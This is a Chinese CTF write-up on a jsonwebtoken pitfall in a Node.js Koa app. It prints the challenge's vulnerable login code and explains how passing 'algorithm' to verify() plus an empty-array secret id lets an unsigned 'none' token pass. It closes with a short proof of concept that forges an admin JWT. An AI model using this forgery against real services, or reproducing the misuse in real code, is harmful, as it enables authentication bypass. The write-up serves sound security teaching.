在一次CTF中遇到了一道和jwt相关的题目,在对nodejs中的jwt库进行分析后,我发现了一个在使用该库时容易掉进去的陷阱。
关键代码:
const crypto = require('crypto'); const fs = require('fs') const jwt = require('jsonwebtoken') const APIError = require('../rest').APIError; module.exports = { 'POST /api/register': async (ctx, next) => { const {username, password} = ctx.request.body; if(!username || username === 'admin'){ throw new APIError('register error', 'wrong username'); } if(global.secrets.length > 100000) { global.secrets = []; } const secret = crypto.randomBytes(18).toString('hex'); const secretid = global.secrets.length; global.secrets.push(secret) const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'}); ctx.rest({ token: token }); await next(); }, 'POST /api/login': async (ctx, next) => { const {username, password} = ctx.request.body; if(!username || !password) { throw new APIError('login error', 'username or password is necessary'); } const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization; const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid; console.log(sid) global.secrets = ['a', 'b'] if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) { throw new APIError('login error', 'no such secret id'); } const secret = global.secrets[sid]; const user = jwt.verify(token, secret, {algorithm: 'HS256'}); const status = username === user.username && password === user.password; if(status) { ctx.session.username = username; } ctx.rest({ status }); await next(); }, 'GET /api/flag': async (ctx, next) => { if(ctx.session.username !== 'admin'){ throw new APIError('permission error', 'permission denied'); } const flag = fs.readFileSync('/flag').toString(); ctx.rest({ flag }); await next(); }, 'GET /api/logout': async (ctx, next) => { ctx.session.username = null; ctx.rest({ status: true }) await next(); } };
其中jsonwebtoken用的是最新的版本。
如果我们想拿到flag则必须以admin登录,而admin用户是禁止注册的。
从代码来看,存入session的username是从token中解析来的,而token可控,那么username也有机会控成admin。
注意到这里验证签名的secret是从数组secrets中获取的,而数组的键我们可控。js是弱类型语言,如果sid传入空数组,则可以绕过限制使得secret为undefined。
另一处细节在于此处对verify()
函数的误用:
const user = jwt.verify(token, secret, {algorithm: 'HS256'});
verify()
指定算法的正确方式应该是通过algorithms
传入数组,而不是algorithm
。
在jwt库中,如果没指定算法,则默认使用none
。
在algorithms
为none
的情况下,空签名且空秘钥是被允许的;如果指定了algorithms
为具体的某个算法,则密钥是不能为空的。
所以,此处由于对该函数的错误使用,导致我们可以用none
伪造jwt。
POC:
const jwt = require('jsonwebtoken'); var payload = { secretid: [], username: 'admin', password: '1' } var token = jwt.sign(payload, undefined, {algorithm: 'none'}); console.log(token);
签名是用algorithm
,验证签名是用algorithms
,这里很容易让人混淆。
最后带上账号密码登录,即可获得admin用户的cookie,
js是弱类型语言
[] == 0
[] == ''
[2] == 2
nodejs中的jwt库在签名时用algorithm
指定算法,而在验签时用algorithms
指定算法
在测试jwt相关的安全问题时可以使用burpsuite的JOSEPH插件辅助测试
本文作者:少林功夫好啊
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/129304.html